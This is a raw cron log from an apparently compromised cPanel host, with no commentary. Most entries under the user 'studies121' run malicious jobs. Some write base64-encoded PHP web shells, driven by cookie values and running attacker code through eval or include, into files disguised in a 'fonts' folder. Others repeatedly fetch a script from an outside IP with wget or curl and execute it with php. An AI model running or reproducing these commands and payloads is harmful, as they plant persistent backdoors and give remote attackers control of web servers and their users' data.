Sep  6 18:19:01 ip-184-168-122-23 CROND[10384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:19:01 ip-184-168-122-23 CROND[10385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:19:01 ip-184-168-122-23 CROND[10386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:19:01 ip-184-168-122-23 CROND[10387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:20:01 ip-184-168-122-23 CROND[10472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:20:01 ip-184-168-122-23 CROND[10474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:20:01 ip-184-168-122-23 CROND[10478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 18:20:01 ip-184-168-122-23 CROND[10480]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:20:01 ip-184-168-122-23 CROND[10477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:20:01 ip-184-168-122-23 CROND[10479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:20:01 ip-184-168-122-23 CROND[10476]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 18:20:01 ip-184-168-122-23 CROND[10481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:20:01 ip-184-168-122-23 CROND[10482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:21:01 ip-184-168-122-23 CROND[10576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:21:01 ip-184-168-122-23 CROND[10578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:21:01 ip-184-168-122-23 CROND[10580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:21:01 ip-184-168-122-23 CROND[10582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:22:01 ip-184-168-122-23 CROND[10758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:22:01 ip-184-168-122-23 CROND[10760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:22:01 ip-184-168-122-23 CROND[10759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:22:01 ip-184-168-122-23 CROND[10762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:22:01 ip-184-168-122-23 CROND[10761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:23:01 ip-184-168-122-23 CROND[10846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:23:01 ip-184-168-122-23 CROND[10848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:23:01 ip-184-168-122-23 CROND[10850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:23:01 ip-184-168-122-23 CROND[10849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:24:02 ip-184-168-122-23 CROND[10967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:24:02 ip-184-168-122-23 CROND[10971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:24:02 ip-184-168-122-23 CROND[10969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:24:02 ip-184-168-122-23 CROND[10973]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:24:02 ip-184-168-122-23 CROND[10972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:25:01 ip-184-168-122-23 CROND[11065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:25:01 ip-184-168-122-23 CROND[11067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:25:01 ip-184-168-122-23 CROND[11068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:25:01 ip-184-168-122-23 CROND[11071]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:25:01 ip-184-168-122-23 CROND[11069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:25:01 ip-184-168-122-23 CROND[11072]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 18:25:01 ip-184-168-122-23 CROND[11070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:26:01 ip-184-168-122-23 CROND[11169]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:26:01 ip-184-168-122-23 CROND[11173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:26:01 ip-184-168-122-23 CROND[11172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:26:01 ip-184-168-122-23 CROND[11171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:26:01 ip-184-168-122-23 CROND[11174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:27:01 ip-184-168-122-23 CROND[11422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:27:01 ip-184-168-122-23 CROND[11424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:27:01 ip-184-168-122-23 CROND[11423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:27:01 ip-184-168-122-23 CROND[11425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:28:01 ip-184-168-122-23 CROND[11510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:28:01 ip-184-168-122-23 CROND[11512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:28:01 ip-184-168-122-23 CROND[11513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:28:01 ip-184-168-122-23 CROND[11516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:28:01 ip-184-168-122-23 CROND[11514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:29:01 ip-184-168-122-23 CROND[11600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:29:01 ip-184-168-122-23 CROND[11601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:29:01 ip-184-168-122-23 CROND[11602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:29:01 ip-184-168-122-23 CROND[11603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:30:01 ip-184-168-122-23 CROND[11707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:30:01 ip-184-168-122-23 CROND[11709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:30:01 ip-184-168-122-23 CROND[11710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:30:01 ip-184-168-122-23 CROND[11713]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:30:01 ip-184-168-122-23 CROND[11714]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 18:30:01 ip-184-168-122-23 CROND[11712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:30:01 ip-184-168-122-23 CROND[11718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:30:02 ip-184-168-122-23 CROND[11721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
